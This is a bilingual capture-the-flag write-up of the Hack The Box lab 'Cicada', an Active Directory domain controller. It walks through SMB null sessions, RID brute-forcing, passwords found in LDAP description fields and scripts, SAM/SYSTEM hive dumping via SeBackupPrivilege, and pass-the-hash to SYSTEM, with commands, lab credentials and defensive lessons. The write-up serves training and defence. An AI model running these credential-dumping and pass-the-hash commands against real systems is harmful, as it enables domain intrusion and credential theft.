Cicada
Executive summary — Cicada is an Easy Active Directory box that doesn't rely on an exploit but on a chain of administrative bad practices. An anonymously accessible SMB
HRshare leaks a corporate default password; with RID brute we identify a valid account (michael.wrightson) to test it against and, once authenticated to LDAP, discover thatdavid.oreliousstores their own password in thedescriptionfield of their user object. david has access to theDEVshare, where a backup script (Backup_script.ps1) contains cleartext credentials foremily.oscars. Emily logs in over WinRM and has SeBackupPrivilege: we use it to dump the SAM and SYSTEM hives, extract Administrator's NTLM hash, and close out the box with Pass-the-Hash. Path: HR → LDAP → david → DEV → emily → SeBackup → Administrator.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.5.230 |
Attack map
[Anonymous SMB] HR share -> "Notice from HR.txt" -> default password
| RID brute (null session) -> valid user: michael.wrightson
v
[Authenticated LDAP] description attribute -> david.orelious password
| DEV share -> Backup_script.ps1 with hardcoded credentials
v
[emily.oscars] smbmap: C$ (READ/WRITE) -> WinRM (user.txt)
| whoami /priv -> SeBackupPrivilege
v
[SAM+SYSTEM] reg save -> secretsdump -> Administrator NTLM hash
| Pass-the-Hash (impacket-psexec)
v
[SYSTEM] root.txt
1. Reconnaissance
The scan itself reveals the Domain Controller's names (CICADA-DC.cicada.htb). Many AD tools (LDAP, Kerberos, SMB) fail or misbehave if they can't resolve the domain and the DC's FQDN, so the first step is mapping them by hand:
echo "10.129.5.230 cicada.htb CICADA-DC.cicada.htb" | sudo tee -a /etc/hosts
With name resolution in place, we run a full port scan:
sudo nmap -Pn -sC -sV -p- --min-rate 10000 10.129.5.230 -oA nmap-cicada
Why these flags:
-Pn→ skip host discovery ping (useful when ICMP is filtered, common on HTB).-sC→ run the default NSE scripts (banners, quick service fingerprinting).-sV→ detect each service's version.-p-→ scan all 65535 TCP ports, not just the top 1000.--min-rate 10000→ speeds up the packet send rate.-oA nmap-cicada→ saves the output in several formats for later reference.
53/tcp open domain (DNS)
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds (SMB)
636/tcp open ldapssl
3268/tcp open globalcatldap
3269/tcp open globalcatldapssl
5985/tcp open wsman (WinRM)
Analysis: DNS + Kerberos + LDAP/Global Catalog + SMB + WinRM on the same host is the classic fingerprint of an Active Directory Domain Controller. It sets the roadmap: SMB to look for leaked shares, LDAP to enumerate the directory, and WinRM as the final remote-access target.
Resumen ejecutivo — Cicada es un Easy de Active Directory que no depende de un exploit, sino de una cadena de malas practicas de administracion. Un share SMB
HRaccesible de forma anonima filtra una contraseña por defecto corporativa; con RID brute identificamos una cuenta valida (michael.wrightson) para probarla y, ya autenticados en LDAP, descubrimos quedavid.oreliousguarda su propia contraseña en el campodescriptionde su usuario. david tiene acceso al shareDEV, donde un script de backup (Backup_script.ps1) contiene credenciales en claro deemily.oscars. Emily entra por WinRM y tiene SeBackupPrivilege: con el volcamos las colmenas SAM y SYSTEM, extraemos el hash NTLM de Administrator y cerramos la maquina con Pass-the-Hash. Recorrido HR → LDAP → david → DEV → emily → SeBackup → Administrator.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.5.230 |
Mapa del ataque
[SMB anonimo] share HR -> "Notice from HR.txt" -> password por defecto
| RID brute (sesion nula) -> usuario valido: michael.wrightson
v
[LDAP autenticado] atributo description -> password de david.orelious
| share DEV -> Backup_script.ps1 con credenciales hardcodeadas
v
[emily.oscars] smbmap: C$ (READ/WRITE) -> WinRM (user.txt)
| whoami /priv -> SeBackupPrivilege
v
[SAM+SYSTEM] reg save -> secretsdump -> hash NTLM de Administrator
| Pass-the-Hash (impacket-psexec)
v
[SYSTEM] root.txt
1. Reconocimiento
El propio escaneo revela nombres del Domain Controller (CICADA-DC.cicada.htb). Muchas herramientas de AD (LDAP, Kerberos, SMB) fallan o se comportan raro si no pueden resolver el dominio y el FQDN del DC, asi que lo primero es mapearlos a mano:
echo "10.129.5.230 cicada.htb CICADA-DC.cicada.htb" | sudo tee -a /etc/hosts
Con la resolucion en marcha, lanzamos un escaneo completo de puertos:
sudo nmap -Pn -sC -sV -p- --min-rate 10000 10.129.5.230 -oA nmap-cicada
Por que estas flags:
-Pn→ no hace ping previo (util si ICMP esta filtrado, algo habitual en HTB).-sC→ lanza los scripts NSE por defecto (banners, deteccion rapida de servicios).-sV→ detecta la version de cada servicio.-p-→ escanea los 65535 puertos TCP, no solo el top-1000.--min-rate 10000→ acelera la tasa de envio de paquetes.-oA nmap-cicada→ guarda la salida en varios formatos para consultarla despues.
53/tcp open domain (DNS)
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds (SMB)
636/tcp open ldapssl
3268/tcp open globalcatldap
3269/tcp open globalcatldapssl
5985/tcp open wsman (WinRM)
Analisis: DNS + Kerberos + LDAP/Global Catalog + SMB + WinRM en el mismo host es la huella clasica de un Domain Controller de Active Directory. Marca la hoja de ruta: SMB para buscar shares filtrados, LDAP para enumerar el directorio y WinRM como objetivo final de acceso remoto.
2. Anonymous SMB -> default password
Before having any credentials, we check whether the server allows null or guest SMB sessions, common on misconfigured DCs:
smbclient -L //10.129.5.230/ -N
-Llists the available shares;-Nattempts the connection without a password (null session). If the server allows it, we can see —and sometimes read— shares without being anyone in the domain.
Among the shares is HR, readable with no credentials. We connect and download its contents:
smbclient //10.129.5.230/HR -N -c 'get "Notice from HR.txt"'
The file is an HR notice for new hires, and it leaks the default password that IT assigns to accounts when they're created:
Default password: Cicada$M6Corpb*@Lp#nZp!8
The real flaw: it's not just that the share is anonymously readable, it's that it documents a password shared across an entire batch of new user accounts. If a single employee never changed it, it's a key that opens their account.
3. Identifying a valid user and enumerating over LDAP
A password is useless without a username to test it against. On a DC that allows null SMB sessions, RID brute (over SAMR) enumerates domain accounts without needing any credentials, walking the RIDs (relative identifiers) one by one:
netexec smb 10.129.5.230 -u '' -p '' --rid-brute
Among the accounts this enumeration returns is michael.wrightson. We try the default password leaked from the HR share against it, and it validates —the employee never changed it:
netexec smb 10.129.5.230 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
With a valid account we can now authenticate to LDAP. First we identify the domain's Base DN (the starting point for any LDAP search):
ldapsearch -x -H ldap://10.129.5.230 -s base namingcontexts
namingcontexts: DC=cicada,DC=htb
With the Base DN, we enumerate the domain's user accounts authenticated as michael.wrightson:
ldapsearch -x -H ldap://10.129.5.230 -D "michael.wrightson@cicada.htb" \
-w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" \
"(objectClass=user)" sAMAccountName
The response lists every account in the directory, including david.orelious. We repeat the same query asking for the description attribute, a field meant for administrative notes that here was used —a classic bad habit— to store a password:
ldapsearch -x -H ldap://10.129.5.230 -D "michael.wrightson@cicada.htb" \
-w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" \
"(objectClass=user)" description
david.orelious -> description: password is aRt$Lp#7t*VQ!3
New credentials:
david.orelious/aRt$Lp#7t*VQ!3. Thedescriptionfield shows up in any basic LDAP query, even to low-privilege users: it's never a safe place for a password.
4. DEV share -> emily's credentials
With david's credentials we check what shares he can reach and find DEV, a development resource holding internal scripts:
smbclient //10.129.5.230/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3' -c 'get Backup_script.ps1'
The script automates a backup task and, to authenticate without human intervention, ships the service credentials written in cleartext inside the code itself:
cat Backup_script.ps1
# ... $username = "emily.oscars"
# ... $password = "Q!3@Lp#M6b*7t*Vt"
Automating tasks with a service account is fine; hardcoding its password in a script anyone with share access can read is not. It's the same family of mistake as the password in
description: sensitive data placed somewhere meant for something else.
5. Confirming privileges with smbmap
Before logging in interactively, we check emily's permissions on the administrative shares —a quick way to know whether the account is interesting before spending a login attempt:
smbmap -H 10.129.5.230 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -d cicada.htb
C$ READ, WRITE
Having WRITE on
C$(the system drive root, shared administratively) is typical of high-privilege accounts. It's a clear signal that emily is worth an interactive session.
6. WinRM as emily (user.txt)
evil-winrm -i 10.129.5.230 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
cd C:\Users\emily.oscars.CICADA\Desktop
type user.txt
7. Escalation — SeBackupPrivilege
Once inside, the first move after landing a Windows user is to check its token privileges:
whoami /priv
Among the enabled privileges is SeBackupPrivilege: it lets the account back up (read) any file on the system, bypassing normal ACLs —precisely because a legitimate backup needs to be able to read everything. This includes the registry hives holding local account hashes.
We create a temporary folder and dump the SYSTEM hive (holds the BootKey needed to decrypt) and the SAM hive (holds the local hashes):
mkdir C:\temp
reg save hklm\system C:\temp\system.hive
reg save hklm\sam C:\temp\sam.hive
We download both files to our machine with Evil-WinRM's download command:
cd C:\temp
download sam.hive
download system.hive
8. Hash extraction and Pass-the-Hash
With both hives locally, secretsdump decrypts the local accounts' NT hashes using the SYSTEM hive's BootKey to unlock the SAM:
impacket-secretsdump -sam sam.hive -system system.hive local
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<administrator_ntlm_hash>:::
With Administrator's NTLM hash there's no need to crack the cleartext password: Pass-the-Hash accepts it directly as a valid NTLM credential. We use impacket-psexec, which creates a remote service on the DC and hands us a shell:
impacket-psexec cicada.htb/Administrator@10.129.5.230 -hashes 'aad3b435b51404eeaad3b435b51404ee:<administrator_ntlm_hash>'
psexecauthenticates over SMB with the hash, installs a temporary service on the DC, and gives us a shell as SYSTEM —a privilege even higher thanAdministrator, since the process runs in the operating system's own context.
9. Root flag
cd C:\Users\Administrator\Desktop
type root.txt
Domain fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info | SMB HR (anonymous) | Unauthenticated readable share + leaked default password | Reusable initial credential |
| Enum | SMB (RID brute) + LDAP | Null session enumerates accounts; description exposes a cleartext password | david.orelious credentials |
| Lateral | DEV share | Hardcoded credentials in Backup_script.ps1 | emily.oscars credentials |
| Lateral | smbmap / C$ | Service account has WRITE on the administrative C$ share | Confirms elevated privilege before login |
| PrivEsc | SeBackupPrivilege | Allows dumping SAM/SYSTEM bypassing ACLs | Administrator NTLM hash |
| PrivEsc | Pass-the-Hash (psexec) | NTLM hash accepted without knowing the cleartext password | SYSTEM shell / root.txt |
Lessons learned
- Anonymous SMB: don't leave readable shares with documents that leak passwords, or null sessions that let RID brute enumerate accounts.
- Default passwords: force a change on first login; a password shared across a batch of new hires is a backdoor with no expiration date.
- No credentials in
descriptionor scripts: both are readable by any account with minimal read permissions on the directory or the share. - Audit administrative share permissions (
C$,ADMIN$): WRITE there for a service account is a red flag. - SeBackupPrivilege (and SeRestorePrivilege) are near-Administrator: they let you read SAM/SYSTEM and
ntds.ditbypassing ACLs. Grant them only to real, audited backup accounts.
2. SMB anonimo -> contraseña por defecto
Antes de tener ninguna credencial, comprobamos si el servidor permite sesiones nulas o de invitado en SMB, algo frecuente en DCs mal configurados:
smbclient -L //10.129.5.230/ -N
-Llista los shares disponibles;-Nintenta la conexion sin contraseña (sesion nula). Si el servidor lo permite, podemos ver —y a veces leer— shares sin ser nadie en el dominio.
Entre los shares aparece HR, legible sin credenciales. Entramos y descargamos su contenido:
smbclient //10.129.5.230/HR -N -c 'get "Notice from HR.txt"'
El fichero es un aviso de Recursos Humanos para empleados nuevos, y filtra la contraseña por defecto que el departamento de IT asigna a las cuentas al crearlas:
Default password: Cicada$M6Corpb*@Lp#nZp!8
El fallo real: no es solo que el share sea legible de forma anonima, es que documenta una contraseña compartida por toda una tanda de altas de usuario. Si un solo empleado no la ha cambiado, es una llave que abre su cuenta.
3. Identificar un usuario valido y enumerar por LDAP
Tener una contraseña no sirve de nada sin un nombre de usuario contra el que probarla. En un DC que permite sesiones SMB nulas, el RID brute (via SAMR) enumera las cuentas del dominio sin necesitar credenciales, recorriendo los RID (identificadores relativos) uno a uno:
netexec smb 10.129.5.230 -u '' -p '' --rid-brute
Entre las cuentas que devuelve esta enumeracion aparece michael.wrightson. Probamos contra ella la contraseña por defecto filtrada en el share HR, y valida —el empleado nunca la cambio:
netexec smb 10.129.5.230 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
Con una cuenta valida ya podemos autenticarnos contra LDAP. Primero identificamos el Base DN del dominio (el punto de partida para cualquier busqueda LDAP):
ldapsearch -x -H ldap://10.129.5.230 -s base namingcontexts
namingcontexts: DC=cicada,DC=htb
Con el Base DN, enumeramos las cuentas de usuario del dominio autenticados como michael.wrightson:
ldapsearch -x -H ldap://10.129.5.230 -D "michael.wrightson@cicada.htb" \
-w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" \
"(objectClass=user)" sAMAccountName
La respuesta lista todas las cuentas del directorio, entre ellas david.orelious. Repetimos la misma consulta pidiendo el atributo description, un campo pensado para notas administrativas que aqui se ha usado —mala practica clasica— para guardar una contraseña:
ldapsearch -x -H ldap://10.129.5.230 -D "michael.wrightson@cicada.htb" \
-w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" \
"(objectClass=user)" description
david.orelious -> description: password is aRt$Lp#7t*VQ!3
Credenciales nuevas:
david.orelious/aRt$Lp#7t*VQ!3. El campodescriptionse muestra en cualquier consulta LDAP basica, incluso a usuarios de bajo privilegio: nunca es un sitio seguro para una contraseña.
4. Share DEV -> credenciales de emily
Con las credenciales de david comprobamos a que shares tiene acceso y encontramos DEV, un recurso de desarrollo con scripts internos:
smbclient //10.129.5.230/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3' -c 'get Backup_script.ps1'
El script automatiza una tarea de backup y, para poder autenticarse sin intervencion humana, lleva las credenciales de servicio escritas en claro dentro del propio codigo:
cat Backup_script.ps1
# ... $username = "emily.oscars"
# ... $password = "Q!3@Lp#M6b*7t*Vt"
Automatizar tareas con un usuario de servicio esta bien; hardcodear su contraseña en un script que cualquiera con acceso al share puede leer, no. Es la misma familia de error que la contraseña en
description: un dato sensible puesto en un sitio pensado para otra cosa.
5. Confirmar privilegios con smbmap
Antes de entrar interactivamente, comprobamos que permisos tiene emily sobre los shares administrativos —una forma rapida de saber si la cuenta es interesante antes de gastar un login:
smbmap -H 10.129.5.230 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -d cicada.htb
C$ READ, WRITE
Tener WRITE sobre
C$(la raiz del disco del sistema compartida administrativamente) es tipico de cuentas con privilegios elevados. Es una señal clara de que emily merece una sesion interactiva.
6. WinRM como emily (user.txt)
evil-winrm -i 10.129.5.230 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
cd C:\Users\emily.oscars.CICADA\Desktop
type user.txt
7. Escalada — SeBackupPrivilege
Con sesion abierta, el primer paso tras conseguir un usuario en Windows es revisar sus privilegios de token:
whoami /priv
Entre los privilegios habilitados aparece SeBackupPrivilege: permite respaldar (leer) cualquier fichero del sistema saltandose las ACL normales, precisamente porque un backup legitimo necesita poder leerlo todo. Esto incluye las colmenas del registro que contienen los hashes de las cuentas locales.
Creamos una carpeta temporal y volcamos las colmenas SYSTEM (contiene la BootKey necesaria para descifrar) y SAM (contiene los hashes locales):
mkdir C:\temp
reg save hklm\system C:\temp\system.hive
reg save hklm\sam C:\temp\sam.hive
Descargamos ambos ficheros a nuestra maquina con el comando download de Evil-WinRM:
cd C:\temp
download sam.hive
download system.hive
8. Extraccion de hashes y Pass-the-Hash
Con ambas colmenas en local, secretsdump descifra el hash NT de las cuentas locales usando la BootKey del SYSTEM para desbloquear el SAM:
impacket-secretsdump -sam sam.hive -system system.hive local
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hash_ntlm_administrator>:::
Con el hash NTLM de Administrator no hace falta descifrar ni la contraseña en claro: Pass-the-Hash lo acepta directamente como credencial NTLM valida. Usamos impacket-psexec, que crea un servicio remoto en el DC y nos devuelve una shell:
impacket-psexec cicada.htb/Administrator@10.129.5.230 -hashes 'aad3b435b51404eeaad3b435b51404ee:<hash_ntlm_administrator>'
psexecautentica via SMB con el hash, instala un servicio temporal en el DC y nos da una shell como SYSTEM —un privilegio superior incluso al deAdministrator, ya que crea el proceso en el contexto del propio sistema operativo.
9. Root flag
cd C:\Users\Administrator\Desktop
type root.txt
Dominio comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info | SMB HR (anonimo) | Share legible sin autenticacion + password por defecto filtrada | Credencial inicial reutilizable |
| Enum | SMB (RID brute) + LDAP | Sesion nula enumera cuentas; description expone contraseña en claro | Credenciales de david.orelious |
| Lateral | Share DEV | Credenciales hardcodeadas en Backup_script.ps1 | Credenciales de emily.oscars |
| Lateral | smbmap / C$ | Cuenta de servicio con WRITE en el share administrativo C$ | Confirma privilegio elevado antes de login |
| PrivEsc | SeBackupPrivilege | Permite volcar SAM/SYSTEM saltandose las ACL | Hash NTLM de Administrator |
| PrivEsc | Pass-the-Hash (psexec) | El hash NTLM es aceptado sin conocer la contraseña en claro | Shell SYSTEM / root.txt |
Lecciones aprendidas
- SMB anonimo: no dejes shares legibles con documentos que filtren contraseñas, ni sesiones nulas que permitan enumerar cuentas por RID brute.
- Contraseñas por defecto: fuerza el cambio en el primer login; una password compartida entre altas nuevas es una puerta trasera con fecha de caducidad indefinida.
- Nada de credenciales en
descriptionni en scripts: ambos son legibles por cualquier cuenta con permisos minimos de lectura en el directorio o el share. - Audita los permisos de shares administrativos (
C$,ADMIN$): WRITE ahi para una cuenta de servicio es una señal de alarma. - SeBackupPrivilege (y SeRestorePrivilege) equivalen casi a Administrator: permiten leer SAM/SYSTEM y
ntds.ditsaltandose las ACL. Concedelos solo a cuentas de backup reales y auditadas.